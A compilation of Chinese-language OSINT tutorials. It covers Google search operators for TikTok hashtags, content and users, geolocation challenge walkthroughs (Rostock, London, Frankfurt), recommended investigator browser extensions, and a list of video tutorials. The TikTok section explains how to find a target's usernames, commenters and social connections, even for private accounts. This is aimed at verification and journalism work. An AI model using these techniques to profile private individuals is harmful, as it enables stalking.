[[www.tiktok.com/tag/trump|http://www.tiktok.com/tag/trump]]
```

然而，当调查一个特定的主题时，您往往知道哪些关键词与您的调查相关，但您可能不知道的是哪些确切的标签在TikTok上是常见的。如果对有关特朗普的TikToks感兴趣，几乎可以肯定，#trump 并不是唯一一个与特朗普相关的标签。如何找出其他哪些标签被使用？

诀窍是进行 **site** 运算符搜索，搜索范围限于带有关键词 “特朗普 “的

标签：

```
site: tiktok.com/tag trump
```

通过这个搜索组合，不仅能找到 “trump” 这个标签，还能找到 “trump2020”、“donaldtrump” 或 “babytrump” 等相关标签：

TikTok 用户在选择包含表情符号的标签时，往往会有很高的创意。使用 **site** 运算符的一个好处是，您会发现有一个或多个表情符号的标签，否则很难找到。看看搜索与冠状病毒相关的标签时出现的各种表情：

3、内容

「图」

在调查TikTok时，最关键的问题之一是如何找到包含特定单词或短语的内容。

用户不仅可以在视频中添加标签，还可以写一段简短的文字。例如，在下面的例子中，文字是 “智利圣地亚哥的抗议者”，同时还有 #chile 和 #protest 的标签：

要在**TikToks**中搜索特定的关键词或短语，可以使用 **intext** 运算符。Google 命令查找带有 “fly a drone” 短语的 TikToks 是这样的：

```
site:[[http://tiktok.com|http://tiktok.com/]]
intext: “fly a drone”
```

您甚至可以通过点击 “工具” 并选择 “自定义范围”，将谷歌的结果限制在特定的时间范围内。

请注意，搜索引擎并不能索引所有在TikTok上发布的视频。由于不同的搜索引擎索引不同的视频，建议不仅使用谷歌，也使用其他搜索引擎，并结合所有的结果。

例如，在 **DuckDuckGo** 上，你可以使用与**Google**上完全相同的运算符：

「图」

但是，在**Bing**上，**intext** 运算符不起作用。尽管如此，仍然有一种搜

索 **TikTok** 内容的方法：诀窍是用 **inbody** 替换 **intext**：

「图」

现在，您可以滚动浏览这些不同搜索引擎的结果，以查找像这样的社交媒体宝藏：一位用户解释了 “如何在禁区内驾驶无人机”。

如果您要在较长的时间内调查一个特定的主题，请定期重复这些搜索。TikTok 上的内容不仅会发生变化，您还会发现搜索引擎在不同的时间点会对不同的视频进行索引。

4、用户

「图」

任何社交网络最重要的成分是它的用户。这也适用于TikTok —— 幸运的是，有一些方法可以在您的在线调查中找到更多关于用户的信息。请记住，每个用户都有自己的URL，它看起来像这样：

```
[[www.tiktok.com/@username|http://www.tiktok.com/@username]]
```

如果您知道一个人的用户名，就可以简单地在URL的末尾输入它，您将被引导到该用户的个人资料页面。

然而，在很多情况下，您根本不知道确切的用户名。这就是 Twitter 用户 @petruknisme的一个想法 —— 建议使用以下**Google**命令找到一长串**TikTok**名字：

```
inurl:[[https://m.tiktok.com/h5/share/usr|https://m.tiktok.com/h5/share/usr]] filetype:html
```

如果您已经知道目标人通常使用什么类型的用户名，但不知道他/她是否稍微改变了这个通常的用户名，例如与另一个单词组合或添加了一个数字等等，上述方法就能特别有用。如果您把可能的用户名加入到**Google**命令中，会收到一个相关的用户名列表，这可能会引导您找出正确的用户名。在我们的例子中，得到了各种名字中带有 “manu” 一词的用户。

现在可以简单地通过他们所有的个人资料页面来检查我们感兴趣的 manu 用户名是否在其中。

然而，个人资料页面上的信息并不总是足以得到一个令人满意可能用户列表。如果想了解更多，需要扩大搜索范围。

例如，了解其他 **TikTokers** 对某一特定用户的看法是非常有帮助的。如果您想阅读其他人对TikTok用户 @maxdressler 的评价，可以使用以下搜索运算符组合：

```
site:tiktok.com intext:[[@maxdressler|https://
twitter.com/maxdressler]] -intitle: "maxdressler"
```

您会得到一个TikTok帖子的列表，其中在文本区域提到了用户 @maxdressler，但这些帖子并不是来自该用户本人。这样就可以发现一个叫 @curlydaddy101 的用户写了 "@maxdressler 很有趣":

由于 @maxdressler 有很多粉丝，所以很多关于他的评论都是来自他的粉丝。然而，当调查一个不太知名的账号时，很有可能一些评论此人账号的用户在现实生活中可能真的认识此人。因此，建议还可以检查一下是否可以在其他地方找到这些相同用户之间的联系。即 社交关系图谱，更多见这里的介绍《推特标签讲述的故事：解码秘密（8）》

如果目标用户有一个私人的 **TikTok** 账户，上面介绍的**site**运算符搜索就更重要了。这意味着，在某些情况下，这种技术将向您展示关于特定用户的唯一公开信息片段。

最后

「图」

希望这份指南能帮助您更深入地了解这个快速增长的平台上的搜索可能性，鼓励您尝试一下，看看它们会给您带来什么。

如果您喜欢使用工具，也可以看看 OSINT Combine 提供的TikTok搜索工具，它可以自动完成上述的一些（但不是全部）技术。〇

- 更多内容《你能从TikTok（抖音）中挖掘到哪些情报线索？》
- 以及《挖掘抖音中的线索：开源情报调查思路》
- 工具《搜电影、书、开放课程、Twitterlists、GPS、挖Skype、开源情报虚拟机、挖抖音、双语搜索 ……：新生情报工具（16）》

Investigate TikTok Like A Pro!

原文

侦探挑战：间接证据和排除法 - iYouPort

开源情报-每个人都可用的武器

“一旦你排除了所有不可能的事物，无论剩下什么，都必须是真相。”

「图」

「图」

上面那句话是福尔摩斯说的。我不是福尔摩斯的粉丝，不过必须承认，Holmes、Columbo、Morse 和无数其他人都会依赖于高度间接的证据；然后运用社交工程学迫使嫌疑人认罪。

先排除不可能的，这一思路在各种形式的调查中都有很常见的应用。

即使是小规模的 OSINT 调查也会产生大量的必须仔细筛选和排除的信息，才能一步步接近正确的答案。

🌤通过选择正确的参数、找到可证实的数据，再使用逻辑来消除其中不正确的推断答案，逐步接近正确。

最近的 Quiztime 侦探挑战就在这方面提出了一个很好的案例。

题目是：下面这张照片

「图」

「图」

问题是：确定照片中的女孩就读哪所学校。

这是社交媒体发布的图片，就如我们曾经介绍过的，关键在于您必须首先将它还原为原始分辨率，否则一些细节不容易看清楚。

在这里看到如何恢复到高分辨率的具体做法《别让社交媒体的自然模

糊阻挡真相》。

完成后您可以看清图中的汽车车牌，这表明该地点位于巴西，但是巴西的学校有成千上万，到底是哪一个呢？

Sector035 完成了这个挑战。他使用两个参数过滤数据，以便先将可能的位置数量减少到更小，并最终找到了正确答案。

这就是排除法的思考方式。

通过假设该位置可能位于累西腓 Recife（这是基于挑战游戏发起人 @y_vdw 的推特历史内容）并且它位于四车道公路上 —— 可以通过在 Recife 搜索所有四车道公路并进行视觉匹配，以找到正确的位置。

思路就是这么简单。

但是，即便有了明确的思路，这仍然是一项相对耗时的工作，但从整个巴西开始并取消所有不属于累西腓的地点，以及所有不是四车道的道路，就可以更快找到确切的位置。

从大处开始，逐渐变小、更小，直到找到最合适的位置。

下面看一个具体的挑战。使用的是同样的思路。

Lars Wienand 在哪？

另一个侦探挑战也适合排除法思路。

Lars Wienand 发布了这两张照片，就是下面这样：

「图」

「图」

并提问：

- 你能说出照片背景中的邮轮叫什么名字吗？
- 一艘邮轮在这里停留了数月，为什么？

大多数侦探挑战游戏只能通过第一张照片来解决，这次不同，是两张。

游轮在背景中可见，但是火车提供了最有用的信息：

1、DB（Deutsches Bundesbahn）标志显示这是在德国。

2、火车位于游轮停靠的地方附近。

看地图：所以，基本是在下面这些位置

「图」

「图」

德国的海岸线相对较小，但仍有很多可能的地方可供大型船只停靠，而且几乎所有的这些地方都有火车站。

地图中显示，可能的位置分别为：埃姆登、诺登、威廉港、不来梅哈芬、不来梅、库克斯港，弗伦斯堡，汉堡，基尔，吕贝克、维斯马、罗斯托克、和施特拉尔松德。

上述有可能仍不完整。理论上，可以只看一下谷歌地球，看看是否有任何港口位置与照片中的位置相似，但这很可能是一种相当缓慢且无效的方法，更不用说你有可能会花掉一个晚上持续这种无聊的方式。

所以，淘汰法也许会更有帮助。

🌤答案是重新审视照片，并提取更多信息以设置一些更有用的新参数。

显然仅通过这两张照片无法了解火车的目的地，于是搜索火车编号 442338 以了解更多信息。

使用 Google 搜索 “zug + 442338”（zug = train）会显示以下信息片段：

「图」

「图」

这些信息显示，罗斯托克到古斯托之间的列车编号为 443 338。

这意味着现在你可以立即排除所有其他位置了。

以下是 Google Earth 查看 Rostock 的显示：

「图」

「图」

这是和照片中的位置相匹配的，角度完全正确；Google 地图的检查显示，岸边的大型建筑物是游轮码头。

因此，很简单，仅将一个参数（列车编号）应用于检索就可以消除其他所有不正确的位置，可能的答案范围缩小到只有一个。

正确的位置是罗斯托克—瓦尔内明德站。

那么在罗斯托克的那艘船叫什么名字？

现在是回答第二个问题的时候了。

有几种方法可以解决这个问题。一种方法可能是尝试识别照片中的船只然后跟随它们的运动轨迹。

例如第二张照片中显示的这艘船明显属于Aida邮轮公司。

理论上您可以查看他们的船队，查看最近出现在罗斯托克的船及具体时间，以推测答案。

在某些情况下这是适当的技术，但是，显然，这种做法也会非常耗时，并且在这种情况下还有更快的方法。

「图」

「图」

照片拍摄的时间可能性跨度也很小。 Lars 没有指定日期，但有必要解决这个问题，虽然不在原始提问范围内。

毕竟，如果我们甚至不知道他什么时候拍摄的，又怎么可能知道 Lars 看到了哪些船？排除法可以再次在这里派上用场。

💡即 通过应用一些参数，可以消除所有不正确的日期并找到最终正确的日期 —— 缩小可能性，然后让它变得更小。

罗斯托克港公布了游轮过去和未来的行程清单，在这里。Lars 则透露，他在访问此处的当天看到了四艘游轮。

这意味着可以通过将少于四艘游轮同时出现的所有日期取消，以排除不正确的日期。

通过上述清单，很明显，7月12日星期五是今年迄今为止唯一的一个“合格”日期，当时四艘或更多的游轮来到罗斯托克，所以此日必须是正确的（假设 Lars 是今年访问的此地）。

以下是当天出现的船只：

「图」

「图」

所以问题1的答案是 Lars 可以看到的船只为：AidAmar，Costa Favolosa，Marina，Regal Princess 和 Viking Sea。

从逻辑上讲，Lars 不可能在其他任何一天看到相同数量的游轮。

「图」

「图」

「图」

「图」

VesselFinder 的检索结果还证实，7月12日这些船只都在罗斯托克。

搜索谷歌新闻也能看到当地媒体报道证实了当日停靠该港口的这些船名，新闻表示这对罗斯托克来说是不寻常的事。

这里甚至还能找到 YouTube 视频：

哪艘船几个月都没有移动过？

该挑战的第二个问题有点棘手，但也并非没办法。

首先，使用 VesselFinder 来查看那里是否还有游轮停留：

「图」

「图」

没有任何邮轮了，这意味着据称已经在那里停留数月的游轮要么已经离开了，要么没有传送位置。

如果这艘船已经离开，那么它肯定会出现在罗斯托克港口的网站上吗？更重要的问题是：为什么一艘游轮要在港口停留数月而不是去任何地方？

毕竟游轮是昂贵的资产，需要努力赚钱才行。

所以推测，游轮停留数月的最可能原因是：a）它需要修理；b）它被废弃了；或者c）建造尚未完成。

于是，谷歌搜索罗斯托克的船舶维修公司，可以找到 MV Werften 公司网站，该公司在这个港口有个大型造船厂。

他们的网站显示他们正在建造一艘名为“Global One”的新游轮。

造船工作始于2018年，直到2020年这艘船才会开起来 —— 这就解释了那艘游轮为什么会在罗斯托克停留这么长时间而不会移动。

好了就是这么简单！

您可以看到，我们最近一个多月内演示的诸多调查都非常简单，仅仅使用所有人都会使用的搜索功能就可以完成开起来复杂的侦探挑战。

关键在于思考方式，这是尤其需要不断强调的：工具真的没有特别重要（当然好的工具可以加快调查速度），最重要的依旧是思路 —— 您需要始终坚定自己的目标，所有环节都为了这个目标前进。

最后回顾我们提供的*大型*搜索引擎列表 —— 《如果你擅长搜索，你能找到一切》。还是那句话：多尝试，是最好的教程。好运！〇 广告

原文

侦探挑战小游戏：Quiztime - iYouPort

开源情报-每个人都可用的武器

技能比工具更重要

「图」

「图」

这是第一次介绍 Quiztime。他们是一群开源调查的爱好者，已经组织了很多侦查挑战的小游戏。

如果您对真相感兴趣、不希望自己经常遭受社交网络和媒体的蒙骗，这些小游戏将非常适合您开拓思路，不论是调查挖掘还是验证信息，都需要一个好的思考方式；尤其是对OSINT初学者来说，构建合理的思考方式比获得技术工具更重要。

顺便关联我们推荐过的最全技术工具箱《🔭 超级情报收集工具库：开源验证和调查工具及使用方法》。

快速开启。

挑战1：下图中这些骑自行车的人所在的具体位置是哪里？

「图」

「图」

显然这是最容易的题目。因为这张照片中包含丰富的元素。你找到了吗？

这里就是一个思考方式：通过在没有任何工具的情况下使用观察，就能发现很多重要的线索，然后就可以沿着线索梳理下去。

1、汽车和骑自行车的人都在左侧开车或骑车，这意味着此处几乎可以肯定是英国或爱尔兰的街道（虽然理论上还有其他可能性）。

在维基百科上查询全球有哪些国家是左侧行车的国家 List of countries with left-hand traffic。

很好，思考范围迅速缩窄了。

继续看，在那个公寓楼墙面上写着 “Ansell House”，它提供了一个特定的地址位置线索，你可以迅速定位。

其实最大的线索就是自行车道。你可以在路面上隐约看到“CS2”，证实这是 Cycle Superhighway 2，所以位置肯定是伦敦。

但这条路很长，确切位置究竟在哪里呢？

下面这张图提供了一些漂亮的参数：

「图」

「图」

这样就能容易多了。然后使用 Google 街景快速查看以在视觉上确认：

「图」

「图」

所以，正确的位置是：伦敦 Mile End 路的 Ansell House 外面（链接到地图）。

相当容易是吧？这样可以增强您的信心，这表明稍微用点心就能发现社交网络上那些声称发生在某地的事件事实上究竟发生在哪 。

好的我们继续。第二个挑战稍微复杂一些 。

挑战2：下面这张照片是在哪里以及什么时间拍摄的？可以尽可能接近具体位置 。

「图」

「图」

幸运的是发布者 Lars 说了这张照片是在 Eintracht 法兰克福的体育场拍摄的，所以你已经知道从哪里开始了。

这个挑战是两个部分，一个是位置，一个是时间。你可以分头考虑。

首先调整图像URL以获得大图，然后你就会发现一个非常明显的线索。（关于如何调图，详见这里《如何让社交媒体上发布的低质量照片变得更清晰？》）

你会看到，球场上的广告写着“欧足联基金会”。这很重要，因为它极大地缩小了时间参数的范围。

快速浏览一下法兰克福的Eintracht赛程列表显示，尽管法兰克福队通常在德甲联赛中打大部分比赛，但他们本赛季也一直参加欧洲联赛。

此外，他们本赛季仅打了14场比赛，其中一半是客场（球队名单左侧的队伍总是主队）。这意味着已经可以将可能的场合缩小到仅仅7场比赛。

照片拍摄时球队还没有出场，于是无法知道这场比赛的对手是谁。照片左上角走进球场的人不是球员，很明显。

还有一些其他独特的特征需要考虑：

- 人群中的金色和黑色旗帜。
- 右边的横幅上写着“wir stehen ……”（德语，大概是“我们大胜”的意思）
- 球场左侧上的物体可能是某种横幅或标志。

我决定从法兰克福最近的欧洲足联比赛开始向前推进，直到找到能够帮助确定这场比赛的确切时间的细节。

和很多照片定位挑战一样，很难直接通过图中呈现的线索找到准确位置。于是不如从其他角度下手：这里尝试首选新闻和YouTube，而不是照片本身。

如上这里检查的第一次比赛是法兰克福对切尔西，2/5/19：

见上面视频。开球前大量的体育场镜头都非常有用。但是没有任何金色和黑色旗帜的迹象，或者“wir stehen ……”的旗帜。

很简单不是这里。

那么继续尝试：Eintracht Frankfurt v Benfica 18/4/19:

这个视频的相似性就比较多了；但是依旧没有找到金色旗帜，也看不到“wir stehen”横幅。

当然，不可否认，这段视频只有几秒钟，并不是100%的结论，但在完全否定之前，需要继续检查欧足联之前的比赛。

就是这个了。只需要看前五秒就知道这是正确的：

你可能需要多看几次，但是肯定能找到那张照片中所有细节。金色和黑色的旗帜，“Wir stehen ……”横幅和球场边缘地面上的横幅都存在。

这也表明，在照片中左上角走进球场的人不是球员，而是将大型UEFA横幅带到场地上的啦啦队。

这也有助于确定时间。因为开赛时间是确定的。

再看一下赛事列表，启动时间是2019年3月7日18:55。这必定意味着照片是在开球前拍摄的，可能是在18：45–18：50左右。

现在找到门路了。开始做一些图像搜索，验证一下在视频中找到的东西。

欧足联官方提供的照片就体现了所有这些细节：

「图」

「图」

很好，在几分钟内找到了正确的时间。现在只剩下找到拍摄者在体育场内的确切位置了。

在原始照片中可以看到拍摄者面前是金色和黑色的旗帜。欧足联官方的照片（上图）显示的是红色和黑色的旗帜（或没有旗帜）所以拍摄者不在同一个位置。

照片显示拍摄者在一个较大的横幅的下面，在他面前有人在摇旗，所以，开始假设，对于确切位置的第一个假设是下面这里：

「图」

「图」

但似乎看起来太靠近中心位置了，照片中的拍摄者似乎更边缘一点。参考一下官方提供的座位图：

「图」

「图」

体育场的设计是对称的，你可以注意到 Heimfanbereich（主场球迷区）位于 Gastfanberiech（客场球迷区）的另一端，这样就可以获得方向感了。

拍摄者 Lars 是一个主场球迷，所以他应该位于上面那个图的左侧的某个地方。

通过将所有照片细节与体育场座位计划图进行比较，看起来 Lars 坐在41K、41F或40D区域。

Lars 确认他坐在40D区。

这个挑战中也呈现了最常用的思考方式，就如我们曾经演示的大多数深度调查中所展现的那样：首先抓取几个主要观测点，然后开始与其他来源进行对照，继续提出合理的假设，验证这些假设，最终接近最合理的那一个。

在这里看到我们曾经介绍过的详细思路，关于《什么是调查，如何验证》。

Qiztime 挑战于2017年开始，当时德国记者 Julia Bayer 在她的 Twitter 帐户上发布了一张照片，显示科隆一个多雨的十字路口，并问道："我在哪里？找到确切的位置"。这是她给学员记者在培训课上的练习。但就是因为她贴出来了，引起了一大群人的兴趣，人们纷纷加入了挑战游戏。

「图」

「图」

从那之后 Bayer 每周都会发布一个测试；并邀请粉丝们也这样做。粉丝中包括一些调查记者、公民记者、还有OSINT专家；他们希望能磨练自己的技巧，都是对真相感兴趣的人。

这些帖子的评论非常有趣，人们纷纷写下自己挖到的线索，线索经常

不是唯一的，结论将通过多个线索综合得出，发布者也会和回复者互动，以纠正那些跑偏了的人。于是你会看到一个非常有趣的探讨场面。

找到答案的人会单独发帖，而不是在回复栏中，所以你任何时间加入都可以，不会被剧透；而且即使你没有时间参与游戏，也可以通过浏览留言发现有趣的思考方式。

测验的难度各不相同。有些已经在几分钟内解决，有些则需要数小时或数天，有些甚至从未解决过。（此处列出了未解决的案例。你想试试看吗？）

🌤技能比工具更重要。很多时候你有一大把工具却不知道该用哪一个，而技能 —— 通过练习的经验中积累以及参考同行的创意 —— 能帮你准确抓住最合适的工具。

这是社交媒体时代最有趣的脑运动。你可以花时间玩数独，但是无法帮你掌握技能；参加这样的游戏挑战，你将获得作为一名捍卫真相的公民的基本功。

最后回顾我们推荐过的一个大一点的挑战游戏《好玩的间谍挑战》；希望有更多中国公民加入到捍卫真相的工作中来。〇

原文

侦查和反侦查工具：带来更多安全和便捷的10大浏览器扩展 - iYouPort

开源情报-每个人都可用的武器

先防御后进攻

「图」

「图」

虽然现代浏览器已经非常强大并且提供了许多功能，但依旧是不够的——于是需要通过浏览器扩展来解锁更多功能，以完成一些非常壮观的任务。

本文即将推荐的这些工具在调查中可以非常有效。

这些也是黑客和开源情报专业人士最喜欢的工具。

你需要什么

您只需要下载 Google Chrome 或 Mozilla Firefox。

确保您的版本已完全更新，然后转到 Google Chrome 网上应用店或 Firefox 加载项网页，找到要添加到浏览器的扩展程序。

正如您在下面的视频中所看到的，还建议您安装 Buscador OS 虚拟机，因为它已经安装了所有这些浏览器扩展。

在虚拟机中使用这些扩展可以更好地将您自己与主操作系统可能留下的任何潜在识别性信息隔离开来。

在这里看到我们对自定义开源调查工作环境的介绍：《构建你的自定义OSINT机器》“第一部分”、“第二部分”、“第三部分”、“第四部分”、“第五部分”。

视频演示：

1、Privacy

首先就是穿上防弹衣。

浏览器可以泄露大量的个人数据，这正是想要通过互联网追踪你的人最垂涎的东西。对于广告商使用的高级跟踪方法，普通用户很难隐藏。

但的确有许多工具可以保护您的在线隐私，其中一些最好的工具来自电子前沿基金会。

其中最容易使用的是 “Privacy Badger”，可用于 Mozilla Firefox 和 Google Chrome。

它是免费的，开源的。

- **Install Privacy Badger:** "Firefox Add-on" | "Chrome Extension"

「图」

「图」

另一个在线维护隐私的有力竞争者是 “Ublock Origin”，除了阻止广告和跟踪链接外，还允许您以方便的过滤模式查看被阻止的每个请求。

- **Install Ublock Origin:** "Firefox Add-on" | "Chrome Extension"

「图」

「图」

上图只是被阻止的 foxnews.com 上的跟踪器的例子，你能看到这个名单是超大的。

2、Internet History

您是否曾希望查看目前已经不再可用的网站或需要查看现有网页的早期版本？

这样做有些时候很重要。因为可以找到被删除的有价值的信息、或更

多关于公司历史的细节。

要做到这点，其中一个最有用的扩展是 “Go Back in Time”，仅适用于 Google Chrome。

在任何页面上，您都可以右键单击以获取 “Go Back in Time” 选项，并选择要搜索的首选存档，例如 Internet 存档（通过 Wayback Machine）。

- **Install Go Back in Time:** "Chrome Extension"

「图」

「图」

在这里的例子中发现了2001版的 foxnews.com，其中有关于 Jeb Bush 的文章。

「图」

「图」

使用浏览器插件来研究以前版本的互联网，可以获得可能在其他任何地方都无法获得的信息线索。

3、Device Spoofing

要加载网页，您的浏览器就会发送有关设备的信息，请求向您发送最适合您所使用设备的网站版本。

不幸的是，这也会泄漏大量关于您的数据，并对您的设备进行独特的指纹识别。

为了解决这个问题，您可以使用用户代理切换器伪装成不同的设备。

除了隐私权益之外，您还可以通过伪装成特定设备来改变网页的表现形式。

例如，Instagram 在识别出你现在使用的是移动设备时才允许你上传照片，意味着如果将用户代理设置为某种智能手机，这样你就可以从计算机上传了。

要试用它，您可以在 Firefox 上安装 Linder 的 “User-Agent

Switcher”，或者在 Chrome 上安装 Rynu.smith 的 “User-Agent Switcher and Manager”。

- **Install User-Agent Switcher:** "Firefox Add-on"
- **Install User-Agent Switcher and Manager:** "Chrome Extension"

「图」

「图」

4、Exif Data

照片包含大量信息，附带的元数据可以显示拍摄照片的位置、时间以及使用的相机类型和各种设置。

要访问图像文件中包含的隐藏信息，可以通过几个扩展程序一键发现 Exif 数据。

虽然许多网站从上传的图像中删除了 Exif 数据，但有些网站却没有。

下面的例子，可以准确地看到拍摄这张照片的时间，以及所使用的相机类型和使用的设置（这是仅举几例）。

其中较好的工具包括 Alan Raskin 为 Firefox 提供的 “Exif Viewer” 和 vdsowner 为 Chrome 提供的 “EXIF Viewer”。

- **Install Exif Viewer:** "Firefox Add-on"
- **Install EXIF Viewer:** "Chrome Extension"

「图」

「图」

5、Site Profiling

如果您对运行网站的技术感到好奇，可以通过 “BuiltWith Technology Profiler” 轻松查看关于网站的所有内容。

这可以帮您迅速识别哪些是骗资金的家伙，哪些很可疑。

- **Install BuiltWith Technology Profiler:** "Firefox Add-on" | "Chrome Extension"

「图」

「图」

6、Video Downloading

视频下载对于保存您在调查过程中发现的证据非常有用。

虽然许多 Chrome 扩展程序不允许您从 YouTube 下载，但其他工具（例如“一键式视频下载程序”）可让您从几乎任何其他来源下载视频。

对于那些打算下载 YouTube 视频的人来说，Firefox 的 “Flash Video Downloader” 是没有限制的。

- **Install Flash Video Downloader:** "Firefox Add-on"
- **Install One-Click Video Downloader:** "Chrome Extension"

「图」

「图」

7、Secure Shells

如果需要登录本地或远程SSH设备，无需终端即可做到。感谢“Google Chrome 的SSH代理”扩展程序，您可以直接从浏览器登录。

如果您不想使用 Google 产品，可以随时使用为 Firefox 提供的 “SSHGate ssh客户端和终端模拟器”。

- **Install SSHGate:** "Firefox Add-on"
- **Install SSH Agent:** "Chrome Extension"

「图」

「图」

8、Decoy Traffic

如果您不希望让任何人监控您的网络流量，或者使有关您网络流量的汇总数据不那么有用，您可以使用“Chaff” 等浏览器扩展来生成虚假的网络流量。

您可以自己设定规则，Chaff 将按照您的设定随机访问网站。您可以指定更多变量以使流量看起来更加真实。

- **Install Chaff:** "Chrome Extension"

「图」

「图」

9、Forensic Snapshots of Websites

如果您需要保留或共享网站的快照，则有许多有用的工具可用于执行此操作。

包括捕获整个页面的选项、捕获一部分，还可以记录浏览网站特定部分的视频。

Chrome 上的 “Nimbus Screenshot＆Screen Video Recorder” 和 Firefox 上的 “Nimbus Screen Capture：Screenshot，Edit，Annotate”，都可以做到，它允许多种不同的方式来捕获您感兴趣的网站。

- **Install Nimbus:** "Firefox Add-on" | "Chrome Extension"

「图」

「图」

10、 JSON Data Formatting

通过API调用，您可以执行很多对特定信息的查询，比如大多数城市中任何公交车的当前位置、访问巨型数据库以查询特定信息。

API 提供对可以不断更新的城市、政府和其他实体的数据的访问。

此数据的标准格式是 JSON，如下所示，阅读起来可能具有挑战性。

「图」

「图」

因为我使用了很多API，所以我在 Chrome 中使用 “JSON Viewer Awesome”来帮助组织数据并使其更易于阅读。

对于 Firefox，“JSONovich”和“JSONView” 都是使 JSON 数据更具可读性的绝佳工具。

- **Install JSONovich:** "Firefox Add-on"
- **Install JSONView:** "Firefox Add-on"
- **Install JSON Viewer Awesome:** "Chrome Extension"

好啦，就是这样。这些工具对于调查来说都非常有用，而且简单，可以帮助您的调查工作更轻松、安全和具有效率。〇 广告

原文

信息验证、社交媒体情报、追踪热点事件、冠状病毒趋势、隐私安全 …… 21个免费视频教程帮助您提高开源情报技能

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年9月9日存档】希望视觉教程更加有助于理解

---

by Irena Buzarewicz

这里是一套21个视频教程，它们提供的是公民记者在使用开源情报调查技术时最经常需要的技能。

这些技巧属于基本功，我们曾经在 “侦探挑战游戏” 中展示过它们中的大部分。总体来说这是一些合规的思考方式，在较为复杂的调查过程中即便它们没能一次性带来最终答案，但只需将它们组合起来使用、重复多次使用，基本都可以解决问题。

“侦探挑战游戏” 的过往内容在下面看到，这些演示具有实地培训的价值：

- 《好玩的间谍挑战》
- 《收集信息追踪钱的轨迹—— 开源情报基础和一个调查示例》
- 《侦探挑战小游戏》
- 《让阴影说话：开源调查小游戏》
- 《使用电影做侦探挑战演示》
- 《侦探挑战：间接证据和排除法》
- 《在互联网上识别和追踪一个人的基本方法》
- 《侦探挑战游戏：快速地理定位的两种方法》
- 《那辆军车正驶向哪里？：侦探挑战时间》
- 《侦探挑战时间：让井盖和自行车说话》
- 《情报眼：细节越多暴露越大—侦探挑战游戏》
- 《空荡荡的蓝天上掠过一架飞机……你能知道地理位置吗？- 史上最难的侦探挑战》
- 《神探应该拥有很棒的直觉：侦探挑战小游戏演示追踪》

- 《一扇窗子能告诉你什么？：侦探挑战游戏》
- 《摆脱信息消防栓，绕墙而行的技巧：侦探挑战游戏》
- 持续更新中！更多好玩的演示相见 列表-5 直接行动 之 “开源情报”

下面我们将介绍的这一组视频您可以在线观看，它们展示了一系列关于信息验证、追踪调查、社交媒体情报挖掘等方面的开源情报技巧，希望这些视频能比文字说明带给您更多的灵感。

1、寻找视觉验证线索

「图」

该视频向您介绍关于调查人员可以如何从图像或视频中获取视觉提示，然后将其与地图、卫星图像、和其他数据库进行交叉引用，以获取想要的证据的基本法。

2、如何充分利用 TwitterLists

「图」

对于 Twitter，我们曾经介绍过很多关于它的挖掘潜力。由于 Twitter 一直是全球快速时讯的博览窗口，巧妙合理地使用 Twitter 始终都是调查者的基本功。

该视频提供有关从社交媒体查找、验证和发布信息的实用和道德建议。工作重点是：

- 被错误归因的或蓄意造假的图像在网络上流行的案例；
- 验证目击证人在活动现场拍摄到的照片和录像；
- 在社交媒体上和通过私人消息传递应用程序共享的信息和内容；
- 为任何经济利益或政治目的而制作的虚假信息和恶作剧。也就是信息战

👌 不要错过我们介绍过的基于 Twitter 的社交媒体情报技巧：

- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《深挖推特：如何从推文中提取准确的元数据？》
- 《如何使用 Maltego 监测推特上的政府信息战》
- 《深挖推特：提供技巧、工具和平台》

- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》
- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 《如何可视化推特对话：极简小工具》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》
- 《搜电影、书、开放课程、Twitterlists、GPS、挖Skype、开源情报虚拟机、挖抖音、双语搜索 ……：新生情报工具（16）》
- 更多内容请见 列表-5 “开源情报”

还有另外一个工具演示视频：Kali linux Twitter intelligence Tool for Osint

这是使用 Python 编写的项目，无需 Twitter API 即可进行 Twitter 跟踪和分析。

3、如何使用 Google Earth 验证地理位置

「图」

地理位置验证是开源情报追踪的根本。

4、如何使用 Tweetdeck

「图」

Tweetdeck 是调查记者的基本功。如果您在大型媒体公司工作过，您会知道，入门的第一课就是 Tweetdeck。因为它非常便捷，可以自行创造无限的列，可以帮助您很方便地同时追踪任何想要的东西。不要错过我们对此的中文版介绍：

- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

5、基础知识

「图」

这是开始使用 Google 地球以帮助您对图像和视频进行地理定位所需的一切。

地理定位是绝大部分开源调查的关键组成部分。

以及，如何通过 Google Earth Pro 导航的技巧。

6、信息验证

「图」

我们介绍的关于信息验证的知识基本汇总在 列表-3 “让它民主” 板块中，作为公民调查人员的基本功。

该视频展示了看起来像是在伊斯坦布尔的 Sultanahmet 广场上爆炸的图像，然而，事实上是在17公里外的地铁站附近燃烧的建筑物。Google Earth 是这类地理验证工作的宝贵工具。

7、信息验证

「图」

该讲座介绍了在线验证信息真伪的基本过程，对于初学者来说是必要的知识。

8、布尔搜索基本知识

「图」

布尔搜索对于社交媒体新闻收集来说至关重要。

我们介绍过布尔搜索，见这里中文版《一个搜索统治一切：调查用心而非技术》；以及应用介绍《社交网站上进行新闻收集和监视的基本指南》。

该视频对布尔搜索方法做了一个基本演示

9、跟踪冠状病毒趋势的基本计算方法

「图」

这里涵盖了一些对记者来说关键的领域，包括：

- 监视信息流
- 道德问题
- 社区参与

这些网络研讨会面向记者和社区成员。为了能触及到全球观众，First Draft 以多种语言在各个国家/地区举办这些活动。旨在共享对所有人都能有价值的知识、工具和信息。

10、关于冠状病毒的报道：新闻收集和监视社交网站

「图」

针对冠状病毒信息的挖掘和报道，介绍一了一些实用工具、技巧和建议。

11、社区如何在疫情期间帮助确保广泛共享高质量的信息

「图」

12、在社交网络上收集和监控信息的基本方法

「图」

13、针对抖音的信息监视

「图」

对于抖音，我们介绍过一些思考方式和渠道，以及工具，见：

- 《挖掘抖音中的线索：开源情报调查思路》
- 《你能从TikTok（抖音）中挖掘到哪些情报线索？》
- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《种子、暗网、区块链、抖音、telegram、数据集……：新生情报工具（12）》
- 《社交媒体情报、追踪电邮电话号码、挖抖音、搜网络摄像头……：新生情报工具（13）》
- 《挖抖音、泄漏密码、漏洞、人脸识别工具、假身份生成器、事实核查……：新生情报工具（14）》
